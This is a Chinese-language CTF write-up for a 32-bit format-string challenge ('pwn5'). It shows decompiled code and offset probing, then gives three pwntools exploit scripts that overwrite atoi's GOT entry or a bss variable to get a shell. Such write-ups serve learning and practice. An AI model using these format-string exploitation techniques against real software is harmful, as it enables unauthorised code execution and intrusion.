开启了Canary,NX,部分RELRO。
// Main
int __cdecl main(int a1)
{
unsigned int v1; // eax
int result; // eax
int fd; // [esp+0h] [ebp-84h]
char nptr[16]; // [esp+4h] [ebp-80h] BYREF
char buf[100]; // [esp+14h] [ebp-70h] BYREF
unsigned int v6; // [esp+78h] [ebp-Ch]
int *v7; // [esp+7Ch] [ebp-8h]
v7 = &a1;
v6 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
v1 = time(0);
srand(v1);
fd = open("/dev/urandom", 0); // 读取随机数文件
read(fd, &dword_804C044, 4u); // fd , &dword_804C044 , 4u 分别代表: fd 文件描述符 ; &dword_804C044 用于临时存放读取到的数据 ; 4u 欲读取到的数据 ; 返回值 实际读到的字节数。类型为 long int。在这里表示 从 fd 中读取随机数,存放进 &dword_804C044 中,预设读取大小为 4u
printf("your name:");
read(0, buf, 0x63u); // 读取键盘输入的数据,大小为 63
printf("Hello,");
printf(buf);
printf("your passwd:");
read(0, nptr, 0xFu); // 大小为 0xF 的字符串,使得password = buf 即可获取shell
if ( atoi(nptr) == dword_804C044 )
{
puts("ok!!");
system("/bin/sh");
}
else
{
puts("fail");
}
result = 0;
if ( __readgsdword(0x14u) != v6 )
sub_80493D0();
return result;
}
// sub_80493D0
void __noreturn sub_80493D0()
{
__asm { add ebx, (offset off_804C000 - $) }
}
重点是:
fd = open("/dev/urandom", 0); // 读取随机数文件
read(fd, &dword_804C044, 4u); // fd , &dword_804C044 , 4u 分别代表: fd 文件描述符 ; &dword_804C044 用于临时存放读取到的数据 ; 4u 欲读取到的数据 ; 返回值 实际读到的字节数。类型为 long int。在这里表示 从 fd 中读取随机数,存放进 &dword_804C044 中,预设读取大小为 4u
printf("your name:");
read(0, buf, 0x63u); // 读取键盘输入的数据,大小为 63
printf("Hello,");
printf(buf);
printf("your passwd:");
read(0, nptr, 0xFu); // 读取键盘输入的数据 大小为 0xF 的字符串,使得password = buf 即可获取shell
由于开了Canary,首先考虑格式化字符串漏洞。
输入探测格式化字符串的payload,AAAA-%x-%x-%x-%x-%x,A的ASCII码值为65(0x41),因此是图中选中的段。且偏移为10。
或者还有一个,AAAA-%p-%p-%p-%p-%p-%p,32位64位通用。
首先在main函数下一个断点。
一路 n 到第二个read,输入 AAAAAAAAAAAAAA
stack 20
使用 pwngdb 中的 fmtarg 工具,计算偏移:
gdb调试 | pwndbg+pwndbg联合使用__n19hT的博客-CSDN博客_pwndbg和pwngdb区别
知道了偏移量为10。
因为我们已经知道偏移量了,可以使用pwntools的 fmtstr_payload 函数。
因为No PIE,
可以直接格式化字符串篡改atoi
为system
Pwntools---fmtstr_payload()介绍_半岛铁盒@的博客-CSDN博客_fmtstr_payload
fmtstr_payload(offset, {printf_got: system_addr})
fmtstr_payload(偏移,{原地址:目的地址})
在本题中也就是:
payload_fmtstr=fmtstr_payload(10,{atoi_got:system_plt})
完整PoC如下:
from pwn import *
io = process("/root/Desktop/PwnSubjects/pwn5")
elf = ELF('/root/Desktop/PwnSubjects/pwn5')
atoi_got = elf.got['atoi']
system_plt = elf.plt['system']
payload=fmtstr_payload(10,{atoi_got:system_plt})
io.recv()
io.sendline(payload)
io.recv()
io.sendline(b'/bin/sh\x00')
io.interactive()
PoC原理解析:
使用 fmtstr_payload 进行简化格式化字符串,通过替换atoi提前调用system,再手动输入/bin/sh获取shell。
先使用IDA查找 dword_804C044 地址
bss_addr = 0x804C044
我们的偏移量是10,因此需要用到
%10$n
用 %10$ 定位到这4个地址,从第十位偏移,也就是0x804C044开始到0x804C047
读取栈偏移为10的地方的数据,当做地址,然后将前面的字符数写入到地址之中
%{number}c表示写入的数,%{index}$n表示以偏移index位置的值为地址写入,其中n写入四字节,hn写入两字节,hhn写入单字节
from pwn import*
p = process("/root/Desktop/PwnSubjects/pwn5")
elf = ELF('/root/Desktop/PwnSubjects/pwn5')
bss_addr = 0x804C044
payload = p32(bss_addr) + p32 (bss_addr + 1 ) + p32(bss_addr + 2) + p32(bss_addr + 3)
payload2 = b'%10$n%11$n%12$n%13$n'
#读取栈偏移为10的地方的数据,当做地址,然后将前面的字符数写入到地址之中
p.sendline(payload+payload2)
p.sendline(str(0x10101010))
# 0x10101010 4 * len(p32(0x804C044)) = 0x10
p.interactive()
关于 0x10101010
就是 len(p32(0x804C044)) 以及后续的值
仍旧需要获取bss地址
但是这次是将 dword_804C044 修改为任意值,然后再次输入此值即可获取shell
比如将 dword_804C044 修改为 0x1
需要用到 fmtstr_payload
dword_804C044 = 0x804C044
fmtstr_payload(10,{dword_804C044:0x1})
from pwn import *
io = process("/root/Desktop/PwnSubjects/pwn5")
elf = ELF('/root/Desktop/PwnSubjects/pwn5')
dword_804C044 = 0x804C044
io.recv()
payload = fmtstr_payload(10,{dword_804C044:0x1})
io.sendline(payload)
io.recv()
io.sendline(str(0x1))
io.interactive()
原理解析:
通过 fmtstr_payload 将 dword_804C044 的内容替换为0x1,而非随机数
随后输入同样的值 0x1 即可通过if判断,获取shell。
由于 FmtStr 的未知原因造成的 IndexError: list index out of range,无法使用。
但是确实存在这个方法。
CTF pwn题之格式化字符串漏洞详解___lifanxin的博客-CSDN博客_pwn 格式化字符串漏洞
pwnlib.fmtstr — Format string bug exploitation tools — pwntools 4.8.0 documentation